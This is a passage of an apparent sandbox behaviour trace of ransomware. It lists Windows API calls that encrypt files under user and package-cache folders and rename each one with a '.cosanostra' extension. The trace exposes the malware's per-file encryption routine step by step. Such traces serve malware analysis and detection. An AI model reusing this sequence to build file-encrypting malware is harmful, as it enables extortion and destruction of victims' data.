lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4ec, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4ec*=0x30, lpOverlapped=0x0) returned 1 [0093.060] CloseHandle (hObject=0x180) returned 1 [0093.064] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.cosanostra") returned 133 [0093.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.cosanostra")) returned 1 [0093.065] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f528 | out: pbBuffer=0x251f528) returned 1 [0093.065] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f520*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f520*=0x30) returned 1 [0093.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0093.094] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 127 [0093.094] StrStrW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0093.100] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffce3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.100] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x31d, lpNumberOfBytesWritten=0x251f4e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4e4*=0x31d, lpOverlapped=0x0) returned 1 [0093.100] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.100] WriteFile (in: hFile=0x160, lpBuffer=0x251f524*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4e4, lpOverlapped=0x0 | out: lpBuffer=0x251f524*, lpNumberOfBytesWritten=0x251f4e4*=0x4, lpOverlapped=0x0) returned 1 [0093.100] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4e4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4e4*=0x30, lpOverlapped=0x0) returned 1 [0093.100] CloseHandle (hObject=0x160) returned 1 [0093.101] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.cosanostra") returned 138 [0093.101] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.cosanostra")) returned 1 [0093.130] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f520 | out: pbBuffer=0x251f520) returned 1 [0093.130] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f518*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f518*=0x30) returned 1 [0093.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.139] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f518 | out: pbBuffer=0x251f518) returned 1 [0093.139] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f510*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f510*=0x30) returned 1 [0093.139] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.215] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f518 | out: pbBuffer=0x251f518) returned 1 [0093.215] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f510*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f510*=0x30) returned 1 [0093.215] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0093.251] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 128 [0093.251] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0093.371] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.372] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4d4*=0x2800, lpOverlapped=0x0) returned 1 [0093.459] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.459] WriteFile (in: hFile=0x160, lpBuffer=0x251f514*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4d4, lpOverlapped=0x0 | out: lpBuffer=0x251f514*, lpNumberOfBytesWritten=0x251f4d4*=0x4, lpOverlapped=0x0) returned 1 [0093.922] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4d4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4d4*=0x30, lpOverlapped=0x0) returned 1 [0093.922] CloseHandle (hObject=0x160) returned 1 [0093.922] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.cosanostra") returned 139 [0093.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.cosanostra")) returned 1 [0093.923] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f510 | out: pbBuffer=0x251f510) returned 1 [0093.923] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f508*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f508*=0x30) returned 1 [0093.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0093.926] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 128 [0093.926] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0094.613] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.613] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4cc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f4cc*=0x2800, lpOverlapped=0x0) returned 1 [0094.613] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.613] WriteFile (in: hFile=0x160, lpBuffer=0x251f50c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4cc, lpOverlapped=0x0 | out: lpBuffer=0x251f50c*, lpNumberOfBytesWritten=0x251f4cc*=0x4, lpOverlapped=0x0) returned 1 [0094.909] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4cc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4cc*=0x30, lpOverlapped=0x0) returned 1 [0094.909] CloseHandle (hObject=0x160) returned 1 [0094.910] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.cosanostra") returned 139 [0094.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.cosanostra")) returned 1 [0094.910] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f510 | out: pbBuffer=0x251f510) returned 1 [0094.910] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f508*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f508*=0x30) returned 1 [0094.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0094.911] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 125 [0094.911] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0095.018] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.018] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4cc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f4cc*=0x2800, lpOverlapped=0x0) returned 1 [0095.018] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.018] WriteFile (in: hFile=0x160, lpBuffer=0x251f50c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4cc, lpOverlapped=0x0 | out: lpBuffer=0x251f50c*, lpNumberOfBytesWritten=0x251f4cc*=0x4, lpOverlapped=0x0) returned 1 [0095.092] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4cc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4cc*=0x30, lpOverlapped=0x0) returned 1 [0095.092] CloseHandle (hObject=0x160) returned 1 [0095.092] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.cosanostra") returned 136 [0095.093] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.cosanostra")) returned 1 [0095.096] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f500 | out: pbBuffer=0x251f500) returned 1 [0095.097] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4f8*=0x30) returned 1 [0095.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0095.097] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned 76 [0095.097] StrStrW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.098] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.098] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4bc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4bc*=0x2800, lpOverlapped=0x0) returned 1 [0095.099] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.099] WriteFile (in: hFile=0x160, lpBuffer=0x251f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4bc, lpOverlapped=0x0 | out: lpBuffer=0x251f4fc*, lpNumberOfBytesWritten=0x251f4bc*=0x4, lpOverlapped=0x0) returned 1 [0095.099] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4bc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4bc*=0x30, lpOverlapped=0x0) returned 1 [0095.099] CloseHandle (hObject=0x160) returned 1 [0095.099] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.cosanostra") returned 87 [0095.100] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll.cosanostra")) returned 1 [0095.100] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4f8 | out: pbBuffer=0x251f4f8) returned 1 [0095.100] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4f0*=0x30) returned 1 [0095.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0095.101] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned 77 [0095.101] StrStrW (lpFirst="XLINTL32.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.104] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.104] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4b4*=0x2800, lpOverlapped=0x0) returned 1 [0095.104] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.104] WriteFile (in: hFile=0x160, lpBuffer=0x251f4f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4b4, lpOverlapped=0x0 | out: lpBuffer=0x251f4f4*, lpNumberOfBytesWritten=0x251f4b4*=0x4, lpOverlapped=0x0) returned 1 [0095.330] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4b4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4b4*=0x30, lpOverlapped=0x0) returned 1 [0095.330] CloseHandle (hObject=0x160) returned 1 [0095.366] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.cosanostra") returned 88 [0095.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll.cosanostra")) returned 1 [0095.367] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4f8 | out: pbBuffer=0x251f4f8) returned 1 [0095.367] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4f0*=0x30) returned 1 [0095.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0095.367] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned 75 [0095.367] StrStrW (lpFirst="VISINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.425] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.425] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4b4*=0x2800, lpOverlapped=0x0) returned 1 [0095.425] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.425] WriteFile (in: hFile=0x160, lpBuffer=0x251f4f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4b4, lpOverlapped=0x0 | out: lpBuffer=0x251f4f4*, lpNumberOfBytesWritten=0x251f4b4*=0x4, lpOverlapped=0x0) returned 1 [0095.565] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4b4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4b4*=0x30, lpOverlapped=0x0) returned 1 [0095.565] CloseHandle (hObject=0x160) returned 1 [0095.619] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.cosanostra") returned 86 [0095.619] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll.cosanostra")) returned 1 [0095.620] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f4f0 | out: pbBuffer=0x251f4f0) returned 1 [0095.620] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f4e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f4e8*=0x30) returned 1 [0095.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0095.621] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned 77 [0095.621] StrStrW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.648] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.648] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4ac, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f4ac*=0x2800, lpOverlapped=0x0) returned 1 [0095.648] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.648] WriteFile (in: hFile=0x160, lpBuffer=0x251f4ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4ac, lpOverlapped=0x0 | out: lpBuffer=0x251f4ec*, lpNumberOfBytesWritten=0x251f4ac*=0x4, lpOverlapped=0x0) returned 1 [0095.685] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4ac, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4ac*=0x30, 